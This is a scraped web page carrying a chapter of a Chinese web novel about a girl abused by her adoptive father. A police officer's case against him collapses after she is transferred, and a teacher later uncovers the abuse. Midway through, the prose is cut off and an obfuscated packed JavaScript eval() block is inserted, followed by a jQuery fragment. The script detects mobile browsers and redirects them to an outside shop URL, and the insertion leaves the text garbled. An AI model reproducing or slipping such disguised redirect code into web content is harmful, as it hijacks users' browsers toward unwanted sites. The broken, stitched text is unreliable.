默认冷灰
24号文字
方正启体

11. 花落去

作者:行迟本书字数:K更新时间:
    傅无双办案向来是铁血手段,不然当初也不会在北城得罪了人,明升暗降到西琅来。


    柳静仪平静控诉,尤婉心目光躲闪,不发一言,而柳建明始终胡搅蛮缠,企图把虐待定性成家务事。


    傅无双见他如此嘴硬,直接大手一挥,拿着柳静仪的伤情鉴定,以故意伤人的名义对他进行长达7日的拘留。


    直到被带走时柳建明还在嘴硬,甚至指着尤婉心说:“她能作证——她能作证我没有虐待柳静仪!!”


    傅无双随着他的视线看向尤婉心,可女人却眼神躲闪,在傅无双的注视里,害怕地低下头去。柳建明呆住,随即目眦欲裂,过度挣扎,那表情似要生吞了她:


    “你——”


    “别动—不许动—老实点!!”


    两个警察按住他,在他愤怒的喘气声中将他带离现场。这个过程中,柳静仪始终淡淡的盯着他,没有丁点情绪。


    门被关上,可调查却没有结束。傅无双放下笔抬起头,在这个只有三个人在的房间里,忽地对着尤婉心说:


    “柳建明平日,也没少打你吧?”


    见她目光闪躲,傅无双一阵见血道:


    “明明可以选择附和柳建明对我撒谎,早点息事宁人,可你却偏偏低下了头。平常人家闹到警察局里总会假装家庭和乐来粉饰太平,可你却演都不愿意演,尤婉心——”


    尤婉心一阵战栗,却在傅无双的呼唤下着魔一般,看向她的眼睛。


    傅无双一字一句道:“既然你也厌倦了过这样的生活,那为什么不离婚呢?”


    柳静仪也朝她看去。


    她也想知道尤婉心的回答。


    明明柳建明对她呼来喝去,非打即骂,为什么她却执拗的呆在柳建明身边,死活不肯离开呢?


    ……


    两个人眼里闪着同样的疑惑,尤婉心在这个尖锐的问题里,缓缓地闭上眼睛。


    那意思很明显。


    她拒绝回答。


    傅无双料到了,她甚至笑了一下:“你不想说,我也没有办法,我不强求你。”


    尤婉心含泪看向她,傅无双侧过身去看向柳静仪,眼前的一切忽然像是电影里的慢动作。凌厉的女警一字一句道:“现在,我要和柳静仪谈谈了。”


    原本平静的女人在这句话里忽然就有了情绪波动,她对着傅无双疯狂摇头,却无济于事。副手出现,带着不容拒绝的礼貌,请尤婉心出门。


    临出门前,她再三回望,那看过来的眼神,甚至是恳求。


    “你很聪明。”


    直至尤婉心的身影消失在视线范围之内,柳静仪才肯回头看向傅无双。


    傅无双盯着她说:“没有直接来派出所报警,而是选择拨打110留下记录,是因为你知道指挥中心会强制录音,并且接警员记录后会形成警单,而这两者会直接存在上级的服务器上,删除需要很高的权限——”


    柳静仪眨眨眼睛,无波无澜。


    “不仅如此,你还打了街道办、妇联和12345的电话,在你能力范围之内,把这件事情直接上升成多部门的重点关注——柳静仪,你可以告诉我,你是怎么想到的吗?”


    柳静仪没说话,傅无双眨了眨眼睛,沉了语气,换了个说辞:“或者说,是谁在背后教你这样做的。”


    ……


    不知道为什么,这样严肃的氛围里,柳静仪居然觉出来一些好笑。


    她在傅无双的审视里也真的笑了出来。


    口罩下的唇角微弯,那双眼睛含笑,但也落寞有泪。


    柳静仪就在这样悲喜交加的情绪里,看向傅无双说:


    “没有任何人教我,是我自己要这样做。”


    “是吗?”


    傅无双依然不信,可柳静仪却忽然叫她:


    “傅警官——”


    “嗯?”


    “你从警多年,一定遇到过特别危急的案子,如果极端的话,甚至威胁到生命吧?您还记得那种情况下,自己的反应吗?”


    ……


    求生。


    傅无双在她的话里下意识想。


    不顾一切的求生。


    紧接着傅无双抬起头,抿唇看向柳静仪。


    被绕进去了。


    柳静仪淡淡的眨了眨眼睛,说:


    “我也是这样的,这次报警,就是我在不顾一切的求生。”


    人在溺水的时候总想抓住些什么,浮木,舟船,或者是忽然横在水面上的树枝。而那些打出去的那些电话,就是她想要抓住的东西。


    柳静仪不知道什么是有用的,但她赌不起,只能全试一遍,放手一搏。


    功败垂成,赌赢了,就解脱。


    “万一赌输了呢?”


    傅无双适时问。


    “赌输了,就死。”


    傅无双被柳静仪平静的决绝震惊,“什么?”


    柳静仪看向她,说:


    “柳建明被放出去,我难逃一死,但比起来被打死,我更想试着结束这样永无休止的生活。”


    报警之前,柳静仪就已经做好了这个准备。


    傅无双神色复杂的摇摇头,说:


    “不会的,你要相信我。”


    柳静仪沉默。


    傅无双却看不下去她的悲观,对着她说:


    “我向你保证,最坏的结果不会发生的,好吗?”


    柳静仪明显的不信,傅无双想了想,低头在纸上写了一个号码,伸手推给她:“这是我的联系方式,有任何问题的话,随时给我打电话。”


    柳静仪却没收她的号码,而是抬起眼来,轻声说:“比起来这个,我更想要别的。”


    傅无双问:“什么?”


    柳静仪眨了眨眼,说:


    “带我妈妈去验伤,镜湖派出所出具家庭暴力告诫书——让柳建明,不要再继续伤害她。”


    傅无双在这话里恍惚了一下。


    她看向柳静仪,忽然意识到,这是她又一次未雨绸缪,只不过这次,她选择保护的人不再是她自己,而是她的养母——尤婉心。


    这一瞬间,傅无双觉得她有点看不透柳静仪。


    明明尤婉心也为虎作伥,对她不好,可在这样的关头,柳静仪第一个想要保护的,却还是她。


    傅无双雷厉风行的推开门,她呼出一口气朝办公室走去,可推门的那一瞬间,她忽然想起来尤婉心被带离前,回头看她的那个眼神。


    那里面写满了欲言又止。


    脚步一顿。


    傅无双转身朝着尤婉心所在的方向走去。


    案情陈述下,她企图在白纸黑字之外,探得一丝真情。


    ……


    柳建明被拘留的第一天,柳静仪和尤婉心回家,睡了一个好觉。


    第二天,傅无双身着便衣,带人走访了学校和柳静仪家附近的小区,搜集证据。


    第三天,傅无双又和柳静仪进行了一次单独谈话,这一次,她为柳静仪找来了辩护律师,打算一纸诉状将柳建明告上法庭。


    意外在第四天横生。


    北城发生恶性案件,系当年她经手过的连环作案,遂发来紧急调令要求傅无双回城。


    傅无双别无他法,临行前再三嘱咐下属要打起十二分经历侦办柳静仪的案子,又紧急差人出具家庭暴力告诫书。


    事情做到这样,傅无双依旧放心不下,亲自去了柳静仪的家里。彼时柳静仪没在,她看着紧闭的大门,无奈的叹了口气。


    电话响个不停,傅无双没了办法,敲开隔壁姚桃的家门,托她转告柳静仪,有事给她打电话。


    警车启动,副驾上的傅无双频频回头。


    这时的她也不会想到,柳静仪的希望,和她一起远走高飞了。


    新官上任三把火,人在任何时候都是审时度势的。


    现在自然也不是例外。


    傅无双性格直爽,在西琅没少得罪人,新接手柳静仪案件的警官就是其中之一。


    巧合的是,他是柳建明之前的旧相识。


    之前柳建明喝多了和旁人发生冲突,大都是他出面调解摆平的。


    事情很快又出反转。


    街道办接到了派出所的电话说事情已经解决,妇联和12345也收到了办案回执。


    ‘尤婉心’忽然对柳建明表示谅解,就连律师都接到‘柳静仪’的短信,说要撤诉。


    又三天后,柳建明大摇大摆地走出了镜湖派出所。


    西琅不知何时下起来大雪,这案件被高高拿起,又被轻轻放下。


    夜晚的小巷混乱失序,老板娘依旧带着市侩的笑容站在门口热情的招呼顾客。柳静仪见到推开家门的柳建明时,脸上是掩盖不住的震惊。


    尤婉心从屋内出来,看清眼前的情形后手一抖,盛满热汤的碗直直的落在地上,四分五裂。


    柳建明伸手阖上院子里的门,又转过身去,吧嗒一声上了锁。


    大雪落在柳静仪的睫毛上。


    寒风吹的人发颤。


    柳建明笑着朝母女二人走来。


    “静仪啊——婉心!咱们—好久不见呐。”


    柳静仪在柳建明咬牙切齿的声音里,退到尤婉心身前,转过身去抱住她,绝望的闭上眼睛——


    一周后,傍晚。


    窗外大雪,梅山伸手接过班主任递来的假条,挨个查看:


    相璨吃雪糕闹了肚子请假出去打针。


    连镶打篮球崴了脚,请假在家休养。


    宋泓去医院复查,请假十天。


    柳静仪——


    梅山拿着这张空空如也的假条抬起头来,问:“请假理由呢?”


    班主任摇摇头,说:“没有理由,打电话也没人接,她之前也这样过,后来回校说生病——”


    梅山直觉不对:“之前也这样过?什么时候的事?我怎么不知道?”


    班主任记忆犹新:“就开学考试完那一周。”


    梅山皱了皱眉头,说:“是吗?”


    班主任点点头,说:“嗯,我记得特别清楚。”


    “不对……不对。”


    梅山忽然摇摇头,伸手拿出来了桌上的文件夹,按月份取出来了请假条。


    很快,数十张假条被摊开放在了桌上,柳静仪的名字格外清晰,可那上面请假的理由,却模糊至极。


    梅山顶着那个笼统的生病,说:“她有和你说过是什么病吗?”


    班主任努力回想:“你别说,还真没有……”


    “嗯。”


    梅山应了一声,伸手打开电脑,开始查文件。


    西琅一中有开学体检,体检数据都保存在电脑里,以防任何突发情况。


    班主任若有所思的继续道:“这样一说还真是很奇怪,我记得上个周还有学生和我隐约提过,有人问柳静仪是不是经常不来上学……”


    梅山很快找到文件夹,在对应的班级里输入柳静仪,伸手敲下键盘上的Enter键,一张体检报告图片弹出,摊开在了两人眼前。


    【姓名:柳静仪】


    【年龄:16岁】


    【身高:172】


    【体重:52】


    ……


    【健康程度:健康】


    【备注:该生各项指标正常,无任何传染病和重大心血管疾病。】


    梅山盯着这张体检报告,说:“谁问的,还记得吗?”


    班主任凑上来看看图片,咕哝两句说:“这体检报告看着也没问题啊——”


    又紧接着回答梅山,说:“我不在场,是听江怀溪说的。”


    梅山点点头,叉掉文件,拿起来外套起身:


    “走吧,咱们去看看什么情况。”


    两人走到教室时,江怀溪正在写习题,身前忽然投下来一个阴影,一抬头,梅山直勾勾的盯着他,还伸手推了推眼镜。


    江怀溪差点一口气没上来。


    “梅梅—梅主任?”


    梅山点点头,说:“你出来一下。”


    说完转身就走,江怀溪忐忑的站起身来,心里一阵哀嚎:


    不是吧,今天不该梅山值班啊?


    那怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179083|196928||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道他迟到的?


    还特意找到教室里来扣分??


    追着杀??这有点太过分了吧?!


    江怀溪心里七上八下的,三人走到旁边的班主任办公室,梅山对着江怀溪说:“坐。”


    先礼后兵。


    江怀溪脑海里瞬间浮现出这四个字。


    他战战兢兢的坐下,梅山在他的对面落座,开口道:


    “听说前两天有人来找你打听柳静仪了?”


    “我没迟到——”


    ……


    旁边的班主任绝望的闭上眼睛。


    梅山也在他这话里无奈摇头,江怀溪后知后觉,原来不是江湖追杀啊。他嘿嘿一笑,一颗心放了下来,也不紧张了,对着梅山说:


    “哦哦哦,是有,一个女人,大概三十来岁,问我说柳静仪是不是经常请假。”


    梅山说:“那你怎么说的?”


    江怀溪眨眨眼睛,坦诚道:“我实话实说呗。”


    班主任说:“你认识对方是谁吗?”


    江怀溪摇摇头,说:“不认识……”


    班主任和梅山对视一眼,刚要叹气,江怀溪又说:“…但相璨说她是个便衣。”


    梅山的目光骤然一凛。


    两人隔空对视一眼,班主任追问道:“便衣?”


    江怀溪点点头,说:“她说她见过。那个女人是镜湖派出所的警察,叫傅无双…哦对了,我确实看见她上了警车,就在学校后门小吃街那边。”


    梅山点点头,说:“你偷偷溜出去了?


    ……


    江怀溪移开目光,悻悻的笑了一下。


    幸好梅山没和他计较,挥挥手让他走了。


    班主任也后知后觉的察觉到了事情的不对,梅山想起来某个雪天,柳静仪向下拉的袖子。如果他没看错的话,那下面是淡淡的淤青。


    失踪,便衣,淤青。


    每一个都透露出来反常。


    “你先上课,我去看看。”


    梅山撂下这句话转身就走。


    柳静仪家离学校不近,梅山到的时候,天已经黑了。街边亮起来灯,便利店里,身形消瘦,面色冷淡地带着口罩站在前台。


    不是柳静仪是谁?


    七天前柳建明回家,非但不知悔改,反而变本加厉。一顿发泄又将柳静仪打的几天下不来床,但这还不算折磨。


    这次之后,他终于对柳静仪有所忌惮,怕她再度节外生枝,于是没收了她的手机,拒绝让柳静仪再回学校。


    无可奈何,但,花落去。


    柳静仪只能在便利店里打工收银,辛酸度日。


    店里,她在认真上货,店外,梅山站在雪里,隔着距离,看清楚了柳静仪手上露出来的伤。


    巷子里亮起来五色的灯光,老板娘站在门口招呼客人,梅山推了推无框眼镜,忍住心酸,进门落座。


    今天上人早,梅山又要了个最好的包厢,老板娘脸上自然堆满了笑。


    梅山点了几个菜,又叫住人,“老板娘——”


    大客户出声,老板娘也朗声应:


    “哎,怎么了您说?”


    梅山伸手拉开西装,掏出钱夹,拿出来二百块钱现金拍在桌上:“和您打听点事。”


    老板娘笑开花,开心收下,又有些警惕,问:


    “你想打听什么事?”


    “你们这附近,有个叫柳静仪的小女孩,你知道吗?”


    老板娘几乎是霎那变了脸色,说:


    “你问她做什么?”


    梅山说:“我是她老师,看她许久没去上学,也联系不上人,实在是不放心,过来看看。”


    老板娘顿了顿,一番思想斗争后,摆摆手,把钱推回去。


    “无可——”


    事情比梅山想象的更加严重。


    他眨了眨眼,在老板娘拒绝的尾音里又掏出来三百拍在桌上:“够么?”


    —奉告。


    老板娘看着那五百,没出声。


    梅山了然,又拿出几张现金,拍在桌子上。


    数十张纸币堆在一起有了分量,老板娘神色终于松动。


    她伸手拿过那叠钱,放到口袋里,在梅山的注视下长叹一口气,“那孩子,是个苦命人啊,隔三岔五就被她那个酒鬼爸打的上不了学——”


    只一句话,就让梅山浑身发冷。


    比西琅百年难得一遇的暴雪更冷。


    尽管已经做了很多的心理准备,可梅山在听到真相的这一刻,依旧是惊怒交加。


    “您说…什么?”


    他颤抖着声音,追问,“是打…的吗?”


    可柳静仪不是说,是因为生病,才去不了学校吗?


    老板娘说:“是啊,是打的。”


    ……


    梅山急促喘息,那老板娘又说:


    “好多年了,那柳建明喝醉酒就打她,喝醉就打她,一开始孩子还哭,整个巷子都听得见,后来次数多了,就不哭了,也不笑了,变得像个木头——”


    梅山死死的攥住手,问:“很频繁吗?”


    老板娘点点头,说:


    “隔三岔五,家常便饭。前一阵儿吧,姑娘终于忍不住报警了,警察也来调查走访,本以为这次孩子终于能解脱了,可谁曾想,上个星期那柳建明,又出来了。”


    ……


    梅山在这话里红了眼睛,“那这左邻右舍,就眼睁睁的看着,没有人拦着吗?”


    老板娘却在这话里忽的尖利:“拦着?”


    她冷笑一下,却又自嘲一般:“先生您说的倒是轻巧,那各人有各人的日子,拦的了一次,还能每次都拦得住不成?况且别人的家务事,搅合不清的,咱们这条街上的人,糊口都艰难,那还有力气去掺和这些事情?顾好个人就已经不错了,剩下的,都看命吧——”


    梅山喘了口气,死死的掐住颤抖的手。


    他努力平复下来心情,抽出来钱包里最后的五百块递给老板娘,对着她低声恳求:


    “老板娘,您行行好,帮我最后一个忙——”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)